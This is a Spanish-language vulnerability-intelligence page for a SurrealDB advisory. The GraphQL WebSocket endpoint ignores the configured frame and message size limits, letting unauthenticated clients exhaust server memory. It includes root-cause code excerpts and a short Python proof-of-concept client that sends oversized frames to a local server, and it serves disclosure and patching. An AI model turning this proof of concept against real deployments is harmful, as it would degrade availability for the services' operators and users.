llamaCVEVulnerability Intelligence
/
Advisory · GitHub · crates.io · surrealdb

GHSA-P3C2-WH5F-JWQM

Omisión de límites de tamaño de trama y mensaje en la actualización WebSocket de GraphQL permite amplificación de memoria

Parche disponible
Descargar PNG JSON
CVSS 3.1
7.5
Alta
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche el mismo día de la divulgación
Exposición17 dDesde la divulgación, 3 nov 2026, 10:51 a. m.
Detección17 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, automatizable e impacto técnico parcial. Hay versiones corregidas disponibles.
Saqué la lupa: aquí hay algo que investigar.Ponle fecha: las tareas sin fecha son leyendas.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche 4.0.0
Monitoreo
Detectada +1
3 nov 26
20 nov 26
21 nov 26
3 nov 26
8 nov 26
12 nov 26
17 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-P3C2-WH5F-JWQM divulgada · CVSS 7.5 (GitHub)
Remediación Parche 4.0.0 surrealdb · 0 d desde divulgación
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Traducción automática · Ver original
Descripción del advisory
Traducción automática · GitHub

Resumen

El endpoint WebSocket de GraphQL del servidor de SurrealDB, accesible mediante `GET /graphql`, actualiza las conexiones entrantes sin aplicar ninguno de los límites de tamaño de trama, mensaje o búfer configurables por el operador (`SURREAL_WEBSOCKET_MAX_MESSAGE_SIZE`, `SURREAL_WEBSOCKET_READ_BUFFER_SIZE`, `SURREAL_WEBSOCKET_WRITE_BUFFER_SIZE`, `SURREAL_WEBSOCKET_MAX_WRITE_BUFFER_SIZE`), que sí se aplican a los manejadores de actualización `/rpc` y `/sql`. Como resultado, el endpoint hereda los valores predeterminados permisivos de la biblioteca subyacente tungstenite (16 MiB por trama, 64 MiB por mensaje y búfer de escritura sin límite), independientemente de lo que haya configurado el operador. En cualquier despliegue que tenga `DEFINE CONFIG GRAPHQL` establecido en al menos una base de datos, un cliente de red no autenticado que proporcione el espacio de nombres (namespace) y la base de datos de destino en las cabeceras de la solicitud puede mantener hasta 64 MiB de bytes en tránsito por cada conexión concurrente, agotando la memoria del servidor y degradando la disponibilidad de todos los endpoints atendidos por el mismo proceso.

Causa raíz

El servidor expone tres manejadores de actualización WebSocket en distintas rutas HTTP. Los manejadores de `/rpc` y `/sql` propagan explícitamente las constantes de capacidad compartidas `WEBSOCKET_*` sobre el `WebSocketUpgrade` de axum, de modo que la `WebSocketConfig` de tungstenite subyacente observa los límites configurados por el operador antes de que se acepte cualquier byte del socket. El manejador WebSocket de GraphQL no realiza ninguna de esas llamadas, por lo que tungstenite recurre a sus valores predeterminados de biblioteca (tamaño máximo de trama 16 MiB, tamaño máximo de mensaje 64 MiB, búfer de escritura máximo `usize::MAX`), incluso cuando el operador ha reducido explícitamente `SURREAL_WEBSOCKET_MAX_MESSAGE_SIZE`. Se viola el invariante de seguridad según el cual «los límites de trama y búfer por conexión configurados por el operador se aplican a todos los endpoints WebSocket que expone el servidor», porque el constructor de la actualización de GraphQL nunca vincula ninguna de esas constantes.

La ruta de actualización afectada es el manejador `GET` registrado en `server/src/ntw/graphql.rs`:

// server/src/ntw/graphql.rs:23-72 (relevant excerpt)
pub fn router() -> Router<Arc<RpcState>> {
    Router::new().route("/graphql", get(ws_handler).post_service(GraphQLService::new()))
}

async fn ws_handler(
    ws: WebSocketUpgrade,
    ...
) -> impl IntoResponse {
    // ... capability + session checks ...
    ws.protocols(ALL_WEBSOCKET_PROTOCOLS).on_upgrade(move |socket| async move {
        serve_graphql_ws(socket, schema, protocol, data).await;
    })
}

Para contrastar, el manejador hermano en `server/src/ntw/sql.rs:105-115` vincula los cinco límites antes de `on_upgrade`:

ws
    .max_frame_size(*WEBSOCKET_MAX_MESSAGE_SIZE)
    .max_message_size(*WEBSOCKET_MAX_MESSAGE_SIZE)
    .read_buffer_size(*WEBSOCKET_READ_BUFFER_SIZE)
    .write_buffer_size(*WEBSOCKET_WRITE_BUFFER_SIZE)
    .max_write_buffer_size(*WEBSOCKET_MAX_WRITE_BUFFER_SIZE)
    .on_failed_upgrade(...)
    .on_upgrade(move |socket| handle_socket(state, socket, sess))

El bloque de vinculación equivalente está presente en `server/src/ntw/rpc.rs:110-122` y ausente en `server/src/ntw/graphql.rs`. Las constantes `cnf::WEBSOCKET_*` (y cualquier sobrescritura del operador proveniente de `SURREAL_WEBSOCKET_MAX_MESSAGE_SIZE`) nunca se referencian desde el archivo de actualización de GraphQL.

Impacto

Cualquier despliegue que incluya la funcionalidad `graphql` predeterminada y tenga configurada al menos una base de datos con `DEFINE CONFIG GRAPHQL` está expuesto. No se requieren credenciales para llegar a la actualización vulnerable: el middleware de autenticación del servidor produce silenciosamente una sesión anónima cuando no se presenta ni `Authorization: Basic` ni `Authorization: Bearer`, y la ruta de generación del esquema de GraphQL abre una transacción de lectura sin invocar `check_anon` ni ninguna otra verificación de capacidad relacionada. El atacante solo necesita los nombres del namespace y de la base de datos, que normalmente son parte de la configuración de la aplicación y no secretos.

Una vez actualizada, cada conexión puede fijar hasta 64 MiB de bytes en tránsito en el búfer de reensamblado por mensaje de tungstenite, además de memoria adicional en el búfer de escritura sin límite si el servidor produce respuestas. Como el límite del búfer de escritura es `usize::MAX` y no se aplica ningún límite de lectura, un atacante que mantenga ancho de banda a través de muchas conexiones concurrentes puede llevar el proceso completo del servidor hacia el agotamiento de memoria. La capacidad demostrada es la degradación de disponibilidad de todos los endpoints atendidos por el mismo proceso (las rutas `/rpc`, `/sql`, `/graphql`, de consultas HTTP y de estado comparten el mismo espacio de direcciones). En despliegues con memoria limitada, el proceso puede ser finalizado por falta de memoria (OOM) y reiniciado durante el ataque. Es razonable esperar que la monitorización del operador detecte reinicios repetidos y picos de latencia por endpoint; no se atribuye ningún impacto en la confidencialidad ni en la integridad.

La mitigación por parte del operador del aviso publicado previamente GHSA-65rj-r9fh-jp2v, reduciendo `SURREAL_WEBSOCKET_MAX_MESSAGE_SIZE`, no protege el endpoint WebSocket de GraphQL, porque esa variable nunca se conecta a esta actualización. Los operadores que creían haber acotado toda la exposición WebSocket al establecer esa variable mantienen una falsa sensación de cobertura hasta que el endpoint se deshabilita explícitamente mediante `--deny-http graphql` o se bloquea en un proxy inverso.

Prueba de concepto

Requisitos previos y configuración:

- A running SurrealDB server built with the default `graphql` feature (in the current
  release channel, this is the standard `surrealdb-server` build).
- At least one namespace and database, with GraphQL enabled on that database:
    DEFINE NAMESPACE test;
    DEFINE DATABASE test;
    USE NS test DB test;
    DEFINE CONFIG GRAPHQL AUTO;
- Optional negative control: start the server with a lowered per-connection limit,
  for example `SURREAL_WEBSOCKET_MAX_MESSAGE_SIZE=1048576` (1 MiB). This value is
  enforced on `/rpc` and `/sql` but is not applied to `/graphql`.

Pasos de reproducción:

  1. Inicie el servidor con la variable de entorno reducida y el namespace/base de datos con GraphQL habilitado.
  2. Desde un cliente no autenticado, abra un WebSocket a `/rpc` y envíe una trama de texto mayor que el límite configurado de 1 MiB. La conexión se cierra con un error de protocolo WebSocket porque `/rpc` aplica el límite configurado.
  3. Abra un WebSocket a `/graphql` proporcionando las cabeceras `surreal-ns: test` y `surreal-db: test` y `Sec-WebSocket-Protocol: graphql-transport-ws`. Envíe una trama de entre 1 MiB y 64 MiB.
  4. Compare el comportamiento: la conexión de GraphQL acepta la trama sobredimensionada (el servidor asigna memoria hasta los valores predeterminados de tungstenite), mientras que la conexión a `/rpc` no lo hizo.

Cliente mínimo (Python, `websockets` >= 12):

import asyncio
import websockets

TARGET_HOST = "127.0.0.1:8000"
NS, DB = "test", "test"
FRAME_MB = 8  # any value below 64; 8 MiB comfortably clears the 1 MiB /rpc limit

async def send_oversized(path: str, subprotocol: str) -> None:
    uri = f"ws://{TARGET_HOST}{path}"
    payload = b"a" * (FRAME_MB * 1024 * 1024)
    async with websockets.connect(
        uri,
        subprotocols=[subprotocol],
        additional_headers={"surreal-ns": NS, "surreal-db": DB},
        max_size=None,
    ) as ws:
        try:
            await ws.send(payload)
            print(f"{path}: accepted {FRAME_MB} MiB frame")
        except websockets.ConnectionClosedError as exc:
            print(f"{path}: rejected ({exc.code} {exc.reason})")

async def main() -> None:
    await send_oversized("/rpc",     "json")
    await send_oversized("/graphql", "graphql-transport-ws")

asyncio.run(main())

Comportamiento esperado cuando el servidor se inicia con `SURREAL_WEBSOCKET_MAX_MESSAGE_SIZE=1048576`:

/rpc: rejected (1009 Message Too Big)
/graphql: accepted 8 MiB frame

Este resultado diferencial se predice directamente a partir de la evidencia a nivel de código fuente: `/rpc` refleja el límite de 1 MiB configurado por el operador; `/graphql` acepta cualquier trama de hasta el valor predeterminado de tungstenite de 64 MiB por mensaje y 16 MiB por trama, independientemente de la configuración del operador. No se requiere la ejecución en tiempo de ejecución de esta reproducción para establecer la primitiva; la evidencia definitiva es la ausencia de las cinco llamadas de configuración en el constructor de actualización de `/graphql` (véase Evidencia de elusión).

Cadena de ataque

  1. Exposición: La compilación predeterminada de `surrealdb-server` habilita la funcionalidad `graphql` (declarada como funcionalidad predeterminada en `server/Cargo.toml`), que monta el router de GraphQL en `GET /graphql` (`server/src/ntw/graphql.rs:23-25`). Un cliente de red no autenticado con alcance hacia el servidor puede solicitar esta ruta.
  2. Control: El atacante controla las cabeceras de la solicitud (`surreal-ns`, `surreal-db`, `Sec-WebSocket-Protocol`) y, tras la actualización, el opcode, el tamaño y la carga útil de cada trama WebSocket posterior. El tamaño de las tramas y el número total de conexiones concurrentes los elige el atacante.
  3. Ruta: `SurrealAuthLayer::check_auth` acepta la solicitud sin cabecera `Authorization` y devuelve una `Session` anónima. El manejador `ws_handler` valida la capacidad `RouteTarget::GraphQL` (`allow_http: Targets::All` por defecto), verifica que `session.ns` y `session.db` estén establecidos y llama a `datast
Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:N
AltoBajoNinguno
IntegridadI:N
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
10.0/ 10Muy alto
Vector 10.0 (muy fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida Última
surrealdb< 4.0.0
4.0.0
4.0.1
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
crates.iosurrealdb
Corregida 4.0.0 0 d 4.0.1 no afectada
Versiones corregidas4.0.0
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/surrealdb/surrealdb/security/advisories/GHSA-p3c2-wh5f-jwqm

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.